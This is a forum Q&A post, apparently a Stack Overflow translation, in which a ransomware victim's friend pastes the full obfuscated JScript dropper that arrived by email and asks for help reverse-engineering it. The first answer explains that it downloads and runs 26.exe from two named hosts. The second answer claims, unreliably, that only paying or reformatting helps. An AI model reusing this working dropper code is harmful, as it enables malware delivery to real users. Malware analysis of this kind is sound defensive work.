新型恶意软件a.k.a勒索软件

时间:2016-02-11 07:33:41

标签: malware

我不确定是否允许在这里提出这个问题。 我只是有一个PC的朋友,感染了某种“RANSOMWARE” - 一种恶意软件,它会加密你的文件并要求付款解密。

我设法取出病毒的根进程(将所有文档,图像和视频文件加密并更改为“* .micro”文件),但恢复受感染的数据有点困难,而且在线资源不多爱好。

以下是触发恶意软件的.js脚本文件:

var _base64Idx = [
/*43 -43 = 0*/
/*'+',  1,  2,  3,'/' */
62, -1, -1, -1, 63,

/*'0','1','2','3','4','5','6','7','8','9' */
52, 53, 54, 55, 56, 57, 58, 59, 60, 61,

/*15, 16, 17,'=', 19, 20, 21 */
-1, -1, -1, 64, -1, -1, -1,

/*65 - 43 = 22*/
/*'A','B','C','D','E','F','G','H','I','J','K','L','M', */
0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12,

/*'N','O','P','Q','R','S','T','U','V','W','X','Y','Z' */
13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,

/*91 - 43 = 48 */
/*48, 49, 50, 51, 52, 53 */
-1, -1, -1, -1, -1, -1,

/*97 - 43 = 54*/
/*'a','b','c','d','e','f','g','h','i','j','k','l','m' */
26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38,

/*'n','o','p','q','r','s','t','u','v','w','x','y','z' */
39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51
];

function decode(input, output, offset) {
var out = output;
if(!out) {
    out = new Uint8Array(Math.ceil(input.length / 4) * 3);
}

// remove all non-base64 characters
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, '');

offset = offset || 0;
var enc1, enc2, enc3, enc4;
var i = 0, j = offset;

while(i < input.length) {
    enc1 = _base64Idx[input.charCodeAt(i++) - 43];
    enc2 = _base64Idx[input.charCodeAt(i++) - 43];
    enc3 = _base64Idx[input.charCodeAt(i++) - 43];
    enc4 = _base64Idx[input.charCodeAt(i++) - 43];

    out[j++] = (enc1 << 2) | (enc2 >> 4);
    if(enc3 !== 64) {
        // decoded at least 2 bytes
        out[j++] = ((enc2 & 15) << 4) | (enc3 >> 2);
        if(enc4 !== 64) {
            // decoded 3 bytes
            out[j++] = ((enc3 & 3) << 6) | enc4;
        }
    }
}

// make sure result is the exact decoded length
return output ?
    (j - offset) :
    out.subarray(0, j);
}

var tEuosqyTkm = function (packedText) {

var buffer = [];
var length = decode(packedText, buffer);
var charCodeAt = "charCodeAt";
var result = "";
for (var i = 0; i < length; i++) {
    result += String.fromCharCode(buffer[i] ^ "bVE6YUkX3beIQAEG"[charCodeAt](i % "bVE6YUkX3beIQAEG".length));
}
return result;
};
var aideN66 = function() {
var vapidAuw = function() {};
vapidAuw.prototype.create = function(disapprobationQvY) {
    return WScript.CreateObject(disapprobationQvY);
};
return vapidAuw;
}();

(function() {
var nettlepkm = new aideN66();
var banterKA3 = 200;
var inspireRpB = tEuosqyTkm('"JRMR"');
var pallidK2I = tEuosqyTkm('"Jy4gVQ=="');
var sultryiRC = tEuosqyTkm('"NQUmRDAlH3ZgCgAlPQ=="');
var constrainedfQW = tEuosqyTkm('"LwUdexVnRQB+Li0dBRE="');
var interpolatevY1 = tEuosqyTkm('"BDx8AAg0ABdDMA=="');
var denouementpK3 = tEuosqyTkm('"KgcBcCwRER56Jw=="');
var gratisE9J = tEuosqyTkm('"CG4EQWAYCg90Lg=="');
var rangeuR2 = tEuosqyTkm('"Jz0LeGwnBWwFIw=="');
var broochIQm = tEuosqyTkm('"MzoheDZsKhddBQ=="');
var smatteringBY6 = tEuosqyTkm('"NhQQXwwiOABAVA=="');
var interminablecBc = tEuosqyTkm('"MzwOBioiPyJwLQ=="');
var sonorousmpK = tEuosqyTkm('"IxIKchs="');
var evidentzgN = tEuosqyTkm('"MSI3Uzg4"');
var convalesceWKQ = tEuosqyTkm('"RwIAewlwNw=="');
var justifyaTv = tEuosqyTkm('"TDM9Uw=="');
var cedeWsU = Math.pow(2, 10) * 249;
var foilgEV = [ tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFgoJEU7XA9Ke2dvID8H"'), tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFg/M0U7XA9Ke2dvID8H"') ];
var suavityzSi = 2097152;
var flagHQx = nettlepkm.create(sultryiRC);
var endemicfVU = nettlepkm.create(constrainedfQW);
var evidentv5F = nettlepkm.create(sonorousmpK + tEuosqyTkm('"TA=="') + evidentzgN);
var humbleM87 = flagHQx.ExpandEnvironmentStrings(convalesceWKQ);
var weltPvA = humbleM87 + suavityzSi + justifyaTv;
var roseatef1b = false;
for (var masticatehJi = 0; masticatehJi < foilgEV.length; masticatehJi++) {
    try {
        var invocationIOk = foilgEV[masticatehJi];
        endemicfVU.open(inspireRpB, invocationIOk, false);
        endemicfVU.send();
        if (endemicfVU.status == banterKA3) {
            try {
                evidentv5F.open();
                evidentv5F.type = 1;
                evidentv5F.write(endemicfVU[tEuosqyTkm('"EDM2RjY7GD1xDQEw"')]);
                if (evidentv5F.size > cedeWsU) {
                    masticatehJi = foilgEV.length;
                    evidentv5F.position = 0;
                    evidentv5F.saveToFile(weltPvA, 2);
                    roseatef1b = true;
                }
            } finally {
                evidentv5F.close();
            }
        }
    } catch (ignored) {}
}
if (roseatef1b) {
    flagHQx[pallidK2I](humbleM87 + Math.pow(2, 21));
}
})();

这里的任何人都可以帮我解决这个脚本的逆向工程来解密/恢复加密文件吗?

谢谢:)

P.S。仅供参考,这个“勒索软件”脚本自2016年2月9日起作为附件通过电子邮件传播。

2 个答案:

答案 0 :(得分:3)

它只是下载运行一个实际的可执行脚本。

首先尝试从http[colon]//helloyoungmanqq.com/26.exe获取,然后http[colon]//helloyoungmanff.com/26.exe,如果失败。我认为它是同一个文件,只是一个备份下载站点。

所有这些编码内容只是为了混淆用于运行执行此操作的ActiveX内容的字符串(因为否则它很快就会很容易被软件和人类识别为恶意)。

这个脚本不是你的答案......它只是引出了下一个要研究的内容。

我强烈建议您下载这些文件时要非常小心。

答案 1 :(得分:0)

使用勒索软件源代码非常危险。如果您尝试从勒索软件中恢复,那么您肯定会丢失数据。删除勒索软件的唯一方法是您支付赎金金额,或者只是完全格式化系统而不在系统中留下任何文件。

可用于删除勒索软件的工具很少,但我不确定您在这篇文章中谈论的是什么版本的勒索软件。存在许多勒索软件系列,每个勒索软件都有自己的源代码和文件!

相关问题